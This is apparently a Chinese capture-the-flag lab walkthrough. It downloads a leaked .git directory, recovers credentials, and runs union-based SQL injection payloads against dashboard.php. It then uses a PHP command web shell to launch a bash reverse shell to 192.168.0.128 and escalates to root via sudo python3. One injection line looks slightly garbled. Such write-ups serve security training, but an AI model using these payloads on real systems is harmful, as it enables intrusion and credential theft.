-
端口
-
访问 80 端口
-
目录扫描
发现存在 .git 泄露,登录页面需要输入邮箱及密码,除此之外并没有其他信息
-
下载 .git 源码
wget -r http://192.168.0.134/.git
查看 git 日志
git log
图中显示带有默认凭证的login.php文件
切换到该版本进行查看
git checkout a4d9
得到账号密码
-
登录用户可以发现 URL 中带有参数 id,发现存在SQL注入
http://192.168.0.134/dashboard.php?id=1' order by 7 -- - //报错 http://192.168.0.134/dashboard.php?id=1' order by 6 -- - //正常 http://192.168.0.134/dashboard.php?id=1' union select 1,2,3,4,5,6 -- -
爆数据库
http://192.168.0.134/dashboard.php?id=-1' UNION SELECT 1,database(),3,4,5,6 -- -
爆表名 http://192.168.0.134/dashboard.php?id=-1' UNION SELECT 1,group_concat(table_name),3,4,5,6 from information_schema.tables where table_schema=database() -- - 爆列名 http://192.168.0.134/dashboard.php?id=-1' UNION SELECT 1,group_concat(column_name),3,4,5,6 from information_schema.columns where table_schema=database() and table_name='users'-- - 爆数据 http://192.168.0.134/dashboard.php?id=-1' UNION SELECT 1,user,psas,4,5,6 ssh-- -
当然也可以使用 sqlmap
-
登录 shh ,查看用户的 .bash_history 文件
发现目标靶机开启 9999 端口,并且在后台运行
-
访问 index.php
<?php echo "Parameter GET['cmd']"; if(isset($_GET['cmd'])){ echo system($_GET['cmd']); } ?>
可以执行命令,构造payload
http://127.0.0.1:9999/?cmd=bash -c 'exec bash -i &>/dev/tcp/192.168.0.128/4455 <&1'
-
在用户 losy 中的 .bash_history 文件中,可以发现该用户密码
并且该用户可以执行 sudo 命令,使用 python3 成功提权到 root